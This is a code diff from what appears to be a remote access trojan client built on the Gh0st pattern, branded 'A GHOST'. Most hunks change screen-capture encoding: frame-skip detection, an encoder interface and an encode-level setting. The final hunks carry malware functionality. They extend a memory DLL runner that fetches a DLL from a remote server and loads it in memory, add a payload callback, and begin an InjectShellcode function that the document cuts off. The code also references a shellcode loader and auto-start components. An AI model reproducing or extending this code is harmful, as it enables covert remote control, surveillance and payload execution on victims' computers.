*ulNextSendLength = 1 + offset + encoded_size;
|
||||||
@@ -955,17 +968,28 @@ public:
|
|||||||
uint8_t* encoded_data = nullptr;
|
uint8_t* encoded_data = nullptr;
|
||||||
uint32_t encoded_size = 0;
|
uint32_t encoded_size = 0;
|
||||||
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
|
int width = m_BitmapInfor_Send->bmiHeader.biWidth, height = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||||
if (m_encoder == nullptr) {
|
ensureEncoder(width, height);
|
||||||
m_encoder = new CX264Encoder();
|
if (!m_encoder) return nullptr;
|
||||||
int br = (m_nBitRate > 0) ? m_nBitRate : (width * height / 1266);
|
// 应用层 skip 检测:硬编器(nvenc/qsv/amf/mf/av1_*)对静态画面 RC 偏弱,
|
||||||
m_encoder->open(width, height, 20, BitRateToCRF(br));
|
// 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧",让空闲流量长期
|
||||||
|
// 维持 100-200 KB/s(每 4s GOP 还叠加一个 IDR)。整帧 memcmp BGRA
|
||||||
|
// 找出真无变化帧直接跳过 encode,仅发 cursor;x264 走这里也省 CPU 无副作用。
|
||||||
|
LPBYTE prev = GetFirstBuffer();
|
||||||
|
ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
|
||||||
|
if (prev && memcmp(nextData, prev, bgraSize) == 0) {
|
||||||
|
*ulNextSendLength = 1 + offset; // 仅 cursor,无视频负载
|
||||||
|
return m_RectBuffer;
|
||||||
}
|
}
|
||||||
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
|
int err = m_encoder->encode(nextData, 32, 4 * width, width, height, &encoded_data, &encoded_size);
|
||||||
if (err) {
|
// encoded_size == 0:硬编首帧延迟,本帧无码流,按失败跳过
|
||||||
|
if (err || encoded_size == 0) {
|
||||||
return nullptr;
|
return nullptr;
|
||||||
}
|
}
|
||||||
*ulNextSendLength = 1 + offset + encoded_size;
|
*ulNextSendLength = 1 + offset + encoded_size;
|
||||||
memcpy(data + offset, encoded_data, encoded_size);
|
memcpy(data + offset, encoded_data, encoded_size);
|
||||||
|
// 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新,否则编码
|
||||||
|
// 失败时下一帧会误以为"已发"而漏发真实变化。
|
||||||
|
memcpy(prev, nextData, bgraSize);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
default:
|
default:
|
||||||
@@ -1025,6 +1049,26 @@ public:
|
|||||||
pt.y += m_iScreenY;
|
pt.y += m_iScreenY;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 鼠标位置反向转换:将客户端绝对坐标(GetCursorPos)转换为发送坐标系,逐项是 PointConversion 的逆
|
||||||
|
virtual void PointConversionInverse(POINT& pt) const
|
||||||
|
{
|
||||||
|
// 3'. 减去屏幕偏移(多显示器)
|
||||||
|
pt.x -= m_iScreenX;
|
||||||
|
pt.y -= m_iScreenY;
|
||||||
|
// 2'. 反向 DPI 缩放
|
||||||
|
if (m_bZoomed) {
|
||||||
|
pt.x = (LONG)(pt.x / m_wZoom);
|
||||||
|
pt.y = (LONG)(pt.y / m_hZoom);
|
||||||
|
}
|
||||||
|
// 1'. full → send 缩放(位图下采样传输时)
|
||||||
|
int sendWidth = m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||||
|
int sendHeight = m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||||
|
if (sendWidth != (int)m_ulFullWidth || sendHeight != (int)m_ulFullHeight) {
|
||||||
|
pt.x = (LONG)((double)pt.x * sendWidth / m_ulFullWidth + 0.5);
|
||||||
|
pt.y = (LONG)((double)pt.y * sendHeight / m_ulFullHeight + 0.5);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// 获取位图结构信息
|
// 获取位图结构信息
|
||||||
virtual const LPBITMAPINFO& GetBIData() const
|
virtual const LPBITMAPINFO& GetBIData() const
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -25,7 +25,8 @@ private:
|
|||||||
BYTE* m_NextBuffer = nullptr;
|
BYTE* m_NextBuffer = nullptr;
|
||||||
|
|
||||||
public:
|
public:
|
||||||
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE) : ScreenCapture(32, algo, all)
|
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP, BOOL all = FALSE, int level = LEVEL_H264_SOFT)
|
||||||
|
: ScreenCapture(32, algo, all, level)
|
||||||
{
|
{
|
||||||
m_GOP = gop;
|
m_GOP = gop;
|
||||||
InitDXGI(all);
|
InitDXGI(all);
|
||||||
|
|||||||
@@ -100,7 +100,8 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
|||||||
extern ClientApp g_MyApp;
|
extern ClientApp g_MyApp;
|
||||||
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
|
SetConnection(g_MyApp.g_Connection); // 同时设置 m_conn 和 m_MyClientID
|
||||||
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
|
CKernelManager* main = (CKernelManager*)ClientObject->GetMain();
|
||||||
InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
m_Signature = main ? main->m_LoginSignature : ClientObject->m_LoginSignature;
|
||||||
|
if (!m_Signature.empty()) InitFileUpload({}, main ? main->m_LoginMsg : ClientObject->m_LoginMsg,
|
||||||
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
|
main ? main->m_LoginSignature : ClientObject->m_LoginSignature, 64, 50, Logf);
|
||||||
#endif
|
#endif
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
@@ -153,6 +154,7 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user, BOOL
|
|||||||
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
|
m_ScreenSettings.QualityLevel = cfg.GetInt("settings", "QualityLevel", quality);
|
||||||
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
m_ScreenSettings.CpuSpeedup = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||||
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
|
m_ScreenSettings.AudioEnabled = cfg.GetInt("settings", "AudioEnabled", 0); // 默认禁用音频
|
||||||
|
m_ScreenSettings.EncodeLevel = cfg.GetInt("settings", "EncodeLevel", LEVEL_H264_SOFT);
|
||||||
|
|
||||||
LoadQualityProfiles(); // 加载质量配置
|
LoadQualityProfiles(); // 加载质量配置
|
||||||
|
|
||||||
@@ -518,18 +520,18 @@ void CScreenManager::InitScreenSpy()
|
|||||||
SAFE_DELETE(m_ScreenSpyObject);
|
SAFE_DELETE(m_ScreenSpyObject);
|
||||||
if ((USING_DXGI == DXGI && IsWindows8orHigher())) {
|
if ((USING_DXGI == DXGI && IsWindows8orHigher())) {
|
||||||
m_isGDI = FALSE;
|
m_isGDI = FALSE;
|
||||||
auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all);
|
auto s = new ScreenCapturerDXGI(algo, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel);
|
||||||
if (s->IsInitSucceed()) {
|
if (s->IsInitSucceed()) {
|
||||||
m_ScreenSpyObject = s;
|
m_ScreenSpyObject = s;
|
||||||
} else {
|
} else {
|
||||||
SAFE_DELETE(s);
|
SAFE_DELETE(s);
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all);
|
m_ScreenSpyObject = new CScreenSpy(32, algo, FALSE, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel);
|
||||||
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
Mprintf("CScreenManager: DXGI SPY init failed!!! Using GDI instead.\n");
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
m_isGDI = TRUE;
|
m_isGDI = TRUE;
|
||||||
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all);
|
m_ScreenSpyObject = new CScreenSpy(32, algo, DXGI == USING_VIRTUAL, DEFAULT_GOP, all, m_ScreenSettings.EncodeLevel);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -718,6 +720,7 @@ VOID CScreenManager::SendBitMapInfo()
|
|||||||
CScreenManager::~CScreenManager()
|
CScreenManager::~CScreenManager()
|
||||||
{
|
{
|
||||||
Mprintf("ScreenManager 析构函数\n");
|
Mprintf("ScreenManager 析构函数\n");
|
||||||
|
if (!m_Signature.empty())
|
||||||
UninitFileUpload();
|
UninitFileUpload();
|
||||||
m_bIsWorking = FALSE;
|
m_bIsWorking = FALSE;
|
||||||
m_bAudioThreadRunning = FALSE; // 停止音频线程
|
m_bAudioThreadRunning = FALSE; // 停止音频线程
|
||||||
@@ -815,6 +818,14 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
m_ClientObject->StopRunning();
|
m_ClientObject->StopRunning();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case COMMAND_ENCODE_LEVEL: {
|
||||||
|
int encodeLevel = szBuffer[1];
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
cfg.SetInt("settings", "EncodeLevel", encodeLevel);
|
||||||
|
Mprintf("[CScreenManager] Change Encode Level: %d -> %d\n", m_ScreenSettings.EncodeLevel, encodeLevel);
|
||||||
|
m_ScreenSettings.EncodeLevel = encodeLevel;
|
||||||
|
break;
|
||||||
|
}
|
||||||
case COMMAND_SWITCH_SCREEN: {
|
case COMMAND_SWITCH_SCREEN: {
|
||||||
SwitchScreen();
|
SwitchScreen();
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -90,7 +90,7 @@ public:
|
|||||||
uint64_t m_nReconnectTime = 0; // 重连开始时间
|
uint64_t m_nReconnectTime = 0; // 重连开始时间
|
||||||
uint64_t m_DlgID = 0;
|
uint64_t m_DlgID = 0;
|
||||||
BOOL m_SendFirst = FALSE;
|
BOOL m_SendFirst = FALSE;
|
||||||
|
std::string m_Signature;
|
||||||
// 虚拟桌面
|
// 虚拟桌面
|
||||||
BOOL m_virtual;
|
BOOL m_virtual;
|
||||||
POINT m_point;
|
POINT m_point;
|
||||||
|
|||||||
@@ -12,8 +12,8 @@
|
|||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all) :
|
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level) :
|
||||||
ScreenCapture(ulbiBitCount, algo, all)
|
ScreenCapture(ulbiBitCount, algo, all, level)
|
||||||
{
|
{
|
||||||
m_GOP = gop;
|
m_GOP = gop;
|
||||||
|
|
||||||
|
|||||||
@@ -97,7 +97,7 @@ protected:
|
|||||||
EnumHwndsPrintData m_data;
|
EnumHwndsPrintData m_data;
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE);
|
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE, int level = LEVEL_H264_SOFT);
|
||||||
|
|
||||||
virtual ~CScreenSpy();
|
virtual ~CScreenSpy();
|
||||||
|
|
||||||
|
|||||||
@@ -13,7 +13,7 @@
|
|||||||
#undef APSTUDIO_READONLY_SYMBOLS
|
#undef APSTUDIO_READONLY_SYMBOLS
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
// 中文(简体,中国) resources
|
// 中文(简体,中国) resources
|
||||||
|
|
||||||
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
|
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
|
||||||
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
|
||||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
|||||||
//
|
//
|
||||||
|
|
||||||
VS_VERSION_INFO VERSIONINFO
|
VS_VERSION_INFO VERSIONINFO
|
||||||
FILEVERSION 1,0,3,3
|
FILEVERSION 1,0,3,5
|
||||||
PRODUCTVERSION 1,0,0,1
|
PRODUCTVERSION 1,0,0,1
|
||||||
FILEFLAGSMASK 0x3fL
|
FILEFLAGSMASK 0x3fL
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
@@ -106,7 +106,7 @@ BEGIN
|
|||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A GHOST"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.3.3"
|
VALUE "FileVersion", "1.0.3.5"
|
||||||
VALUE "InternalName", "ServerDll.dll"
|
VALUE "InternalName", "ServerDll.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
|
||||||
VALUE "OriginalFilename", "ServerDll.dll"
|
VALUE "OriginalFilename", "ServerDll.dll"
|
||||||
@@ -132,7 +132,7 @@ IDI_ICON_MAIN ICON "Res\\ghost.ico"
|
|||||||
|
|
||||||
IDI_ICON_MSG ICON "Res\\msg.ico"
|
IDI_ICON_MSG ICON "Res\\msg.ico"
|
||||||
|
|
||||||
#endif // 中文(简体,中国) resources
|
#endif // 中文(简体,中国) resources
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
59
client/VideoEncoderBase.h
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
// 视频编码器抽象接口
|
||||||
|
// Step 0: 仅 CX264Encoder 实现;后续 CFFmpegH264Encoder / CFFmpegAV1Encoder 接入
|
||||||
|
// 详见 docs/HardwareEncoding_Design.md
|
||||||
|
|
||||||
|
enum class VideoCodec {
|
||||||
|
H264,
|
||||||
|
AV1,
|
||||||
|
};
|
||||||
|
|
||||||
|
enum class RateControl {
|
||||||
|
CRF, // x264 软编用 CRF (0-51, 越小越好)
|
||||||
|
BITRATE, // 硬编路径用目标码率 (kbps)
|
||||||
|
};
|
||||||
|
|
||||||
|
struct EncoderParams {
|
||||||
|
int width = 0;
|
||||||
|
int height = 0;
|
||||||
|
int fps = 30;
|
||||||
|
RateControl rc = RateControl::BITRATE;
|
||||||
|
int crf = 23; // 当 rc == CRF
|
||||||
|
int bitrate_kbps = 4000; // 当 rc == BITRATE
|
||||||
|
int gop_seconds = 15; // 关键帧间隔(秒),与 x264 i_keyint_max=fps*15 对齐
|
||||||
|
};
|
||||||
|
|
||||||
|
class VideoEncoderBase {
|
||||||
|
public:
|
||||||
|
virtual ~VideoEncoderBase() = default;
|
||||||
|
|
||||||
|
virtual bool open(const EncoderParams& params) = 0;
|
||||||
|
virtual void close() = 0;
|
||||||
|
|
||||||
|
// 编码一帧
|
||||||
|
// rgb : 输入像素数据
|
||||||
|
// bpp : 24 (RGB) / 32 (BGRA)
|
||||||
|
// stride : 源行字节数
|
||||||
|
// width/height : 图像尺寸
|
||||||
|
// lppData : 输出指针,指向编码后码流(生命周期归编码器,下一次 encode 失效)
|
||||||
|
// lpSize : 输出码流字节数;返回 0 表示成功但本帧无输出(硬编首帧延迟)
|
||||||
|
// direction : 1 = 上下不翻转,-1 = 翻转(适配 Windows BMP bottom-up)
|
||||||
|
// 返回 0 = 成功;< 0 = 失败
|
||||||
|
virtual int encode(
|
||||||
|
uint8_t* rgb,
|
||||||
|
uint8_t bpp,
|
||||||
|
uint32_t stride,
|
||||||
|
uint32_t width,
|
||||||
|
uint32_t height,
|
||||||
|
uint8_t** lppData,
|
||||||
|
uint32_t* lpSize,
|
||||||
|
int direction = 1
|
||||||
|
) = 0;
|
||||||
|
|
||||||
|
virtual void forceIDR() = 0;
|
||||||
|
virtual void setBitrate(int kbps) {} // 可选实现,默认 no-op
|
||||||
|
virtual VideoCodec codec() const = 0;
|
||||||
|
virtual const char* backendName() const = 0; // "x264" / "h264_nvenc" / "av1_amf" ...
|
||||||
|
};
|
||||||
@@ -3,10 +3,11 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
#if DISABLE_X264_FOR_TEST
|
#if DISABLE_X264_FOR_TEST
|
||||||
CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; }
|
CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; m_forceIDR = false; }
|
||||||
CX264Encoder::~CX264Encoder() {}
|
CX264Encoder::~CX264Encoder() {}
|
||||||
bool CX264Encoder::open(int, int, int, int) { return false; }
|
bool CX264Encoder::open(int, int, int, int) { return false; }
|
||||||
bool CX264Encoder::open(x264_param_t*) { return false; }
|
bool CX264Encoder::open(x264_param_t*) { return false; }
|
||||||
|
bool CX264Encoder::open(const EncoderParams&) { return false; }
|
||||||
void CX264Encoder::close() {}
|
void CX264Encoder::close() {}
|
||||||
int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; }
|
int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; }
|
||||||
|
|
||||||
@@ -25,6 +26,7 @@ CX264Encoder::CX264Encoder()
|
|||||||
m_pCodec = NULL;
|
m_pCodec = NULL;
|
||||||
m_pPicIn = NULL;
|
m_pPicIn = NULL;
|
||||||
m_pPicOut = NULL;
|
m_pPicOut = NULL;
|
||||||
|
m_forceIDR = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -88,6 +90,14 @@ bool CX264Encoder::open(x264_param_t * param)
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
bool CX264Encoder::open(const EncoderParams& params)
|
||||||
|
{
|
||||||
|
// x264 软编只支持 CRF;调用方走 BITRATE 时降级为 CRF=23(与 BitRateToCRF 默认一致)
|
||||||
|
int crf = (params.rc == RateControl::CRF) ? params.crf : 23;
|
||||||
|
return open(params.width, params.height, params.fps, crf);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
void CX264Encoder::close()
|
void CX264Encoder::close()
|
||||||
{
|
{
|
||||||
if (m_pCodec) {
|
if (m_pCodec) {
|
||||||
@@ -146,6 +156,12 @@ int CX264Encoder::encode(
|
|||||||
return -2;
|
return -2;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (m_forceIDR) {
|
||||||
|
m_pPicIn->i_type = X264_TYPE_IDR;
|
||||||
|
m_forceIDR = false;
|
||||||
|
} else {
|
||||||
|
m_pPicIn->i_type = X264_TYPE_AUTO;
|
||||||
|
}
|
||||||
|
|
||||||
encode_size = x264_encoder_encode(
|
encode_size = x264_encoder_encode(
|
||||||
m_pCodec,
|
m_pCodec,
|
||||||
|
|||||||
@@ -1,25 +1,30 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#include <libyuv\libyuv.h>
|
#include <libyuv\libyuv.h>
|
||||||
#include <x264\x264.h>
|
#include <x264\x264.h>
|
||||||
}
|
}
|
||||||
|
|
||||||
#define DISABLE_X264_FOR_TEST 0
|
#include "common/config.h"
|
||||||
|
|
||||||
class CX264Encoder
|
class CX264Encoder : public VideoEncoderBase
|
||||||
{
|
{
|
||||||
private:
|
private:
|
||||||
x264_t* m_pCodec; //编码器实例
|
x264_t* m_pCodec; //编码器实例
|
||||||
x264_picture_t *m_pPicIn;
|
x264_picture_t *m_pPicIn;
|
||||||
x264_picture_t *m_pPicOut;
|
x264_picture_t *m_pPicOut;
|
||||||
x264_param_t m_Param;
|
x264_param_t m_Param;
|
||||||
|
bool m_forceIDR; // 下一次 encode 强制 IDR
|
||||||
public:
|
public:
|
||||||
|
// 旧签名保留:被 ScreenCapture 临时直接调;新增 EncoderParams overload 走接口路径
|
||||||
bool open(int width, int height, int fps, int crf);
|
bool open(int width, int height, int fps, int crf);
|
||||||
bool open(x264_param_t * param);
|
bool open(x264_param_t * param);
|
||||||
|
|
||||||
void close();
|
// VideoEncoderBase
|
||||||
|
bool open(const EncoderParams& params) override;
|
||||||
|
void close() override;
|
||||||
int encode(
|
int encode(
|
||||||
uint8_t * rgb,
|
uint8_t * rgb,
|
||||||
uint8_t bpp,
|
uint8_t bpp,
|
||||||
@@ -29,9 +34,11 @@ public:
|
|||||||
uint8_t ** lppData,
|
uint8_t ** lppData,
|
||||||
uint32_t * lpSize,
|
uint32_t * lpSize,
|
||||||
int direction = 1
|
int direction = 1
|
||||||
);
|
) override;
|
||||||
|
void forceIDR() override { m_forceIDR = true; }
|
||||||
|
VideoCodec codec() const override { return VideoCodec::H264; }
|
||||||
|
const char* backendName() const override { return "x264"; }
|
||||||
|
|
||||||
CX264Encoder();
|
CX264Encoder();
|
||||||
~CX264Encoder();
|
~CX264Encoder() override;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -130,7 +130,7 @@
|
|||||||
</EntryPointSymbol>
|
</EntryPointSymbol>
|
||||||
<SubSystem>Console</SubSystem>
|
<SubSystem>Console</SubSystem>
|
||||||
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
@@ -177,7 +177,7 @@
|
|||||||
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
||||||
<SubSystem>Windows</SubSystem>
|
<SubSystem>Windows</SubSystem>
|
||||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||||
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin;$(SolutionDir)..\ffmpeg-7.1\install-win64\lib</AdditionalLibraryDirectories>
|
||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
@@ -218,6 +218,9 @@
|
|||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
<ClCompile Include="StdAfx.cpp" />
|
<ClCompile Include="StdAfx.cpp" />
|
||||||
<ClCompile Include="SystemManager.cpp" />
|
<ClCompile Include="SystemManager.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="TalkManager.cpp" />
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
@@ -266,7 +269,11 @@
|
|||||||
<ClInclude Include="ShellManager.h" />
|
<ClInclude Include="ShellManager.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
<ClInclude Include="StdAfx.h" />
|
<ClInclude Include="StdAfx.h" />
|
||||||
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
|
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||||
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
<ClInclude Include="SystemManager.h" />
|
<ClInclude Include="SystemManager.h" />
|
||||||
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
<ClInclude Include="TalkManager.h" />
|
<ClInclude Include="TalkManager.h" />
|
||||||
<ClInclude Include="VideoCodec.h" />
|
<ClInclude Include="VideoCodec.h" />
|
||||||
<ClInclude Include="VideoManager.h" />
|
<ClInclude Include="VideoManager.h" />
|
||||||
|
|||||||
@@ -10,7 +10,7 @@
|
|||||||
#include "auto_start.h"
|
#include "auto_start.h"
|
||||||
// A shell code loader connect to 127.0.0.1:6543.
|
// A shell code loader connect to 127.0.0.1:6543.
|
||||||
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
||||||
#include "SCLoader.cpp"
|
// #include "SCLoader.cpp"
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#include "reg_startup.h"
|
#include "reg_startup.h"
|
||||||
#include "ServiceWrapper.h"
|
#include "ServiceWrapper.h"
|
||||||
@@ -76,10 +76,14 @@ typedef struct PkgHeader {
|
|||||||
}
|
}
|
||||||
} PkgHeader;
|
} PkgHeader;
|
||||||
|
|
||||||
|
typedef int (*DllCallback)(BYTE* dll, int size);
|
||||||
|
|
||||||
// Memory DLL runner.
|
// Memory DLL runner.
|
||||||
class MemoryDllRunner : public DllRunner
|
class MemoryDllRunner : public DllRunner
|
||||||
{
|
{
|
||||||
protected:
|
protected:
|
||||||
|
int m_payloadType = MEMORYDLL;
|
||||||
|
DllCallback m_callback = nullptr;
|
||||||
HMEMORYMODULE m_mod;
|
HMEMORYMODULE m_mod;
|
||||||
std::string GetIPAddress(const std::string& hostName)
|
std::string GetIPAddress(const std::string& hostName)
|
||||||
{
|
{
|
||||||
@@ -107,7 +111,7 @@ protected:
|
|||||||
return std::string(ipStr);
|
return std::string(ipStr);
|
||||||
}
|
}
|
||||||
public:
|
public:
|
||||||
MemoryDllRunner() : m_mod(nullptr) {}
|
MemoryDllRunner(int type = MEMORYDLL, DllCallback cb = NULL) : m_mod(nullptr), m_payloadType(type), m_callback(cb) {}
|
||||||
virtual const char* ReceiveDll(int &size)
|
virtual const char* ReceiveDll(int &size)
|
||||||
{
|
{
|
||||||
WSADATA wsaData = {};
|
WSADATA wsaData = {};
|
||||||
@@ -146,9 +150,9 @@ public:
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 0 };
|
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
|
||||||
#else
|
#else
|
||||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, MEMORYDLL, 1 };
|
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
|
||||||
#endif
|
#endif
|
||||||
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
|
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
|
||||||
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
|
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
|
||||||
@@ -244,6 +248,9 @@ public:
|
|||||||
strcpy(addr->installDir, g_ConnectAddress.installDir);
|
strcpy(addr->installDir, g_ConnectAddress.installDir);
|
||||||
strcpy(addr->installName, g_ConnectAddress.installName);
|
strcpy(addr->installName, g_ConnectAddress.installName);
|
||||||
}
|
}
|
||||||
|
if (m_callback) {
|
||||||
|
m_callback((BYTE*)buffer + 6 + sizeof(PkgHeader), size);
|
||||||
|
}
|
||||||
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
||||||
SAFE_DELETE_ARRAY(buffer);
|
SAFE_DELETE_ARRAY(buffer);
|
||||||
return m_mod;
|
return m_mod;
|
||||||
@@ -259,6 +266,37 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
int InjectShellcode(BYTE* buf, int len) {
|
||||||
|
ShellcodeInj inj(buf, len);
|
||||||
|
int pid = 0;
|
||||||
|
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
|
||||||
|
do {
|
||||||
|
if (sizeof(void*) == 4) // Shell code is 64bit
|
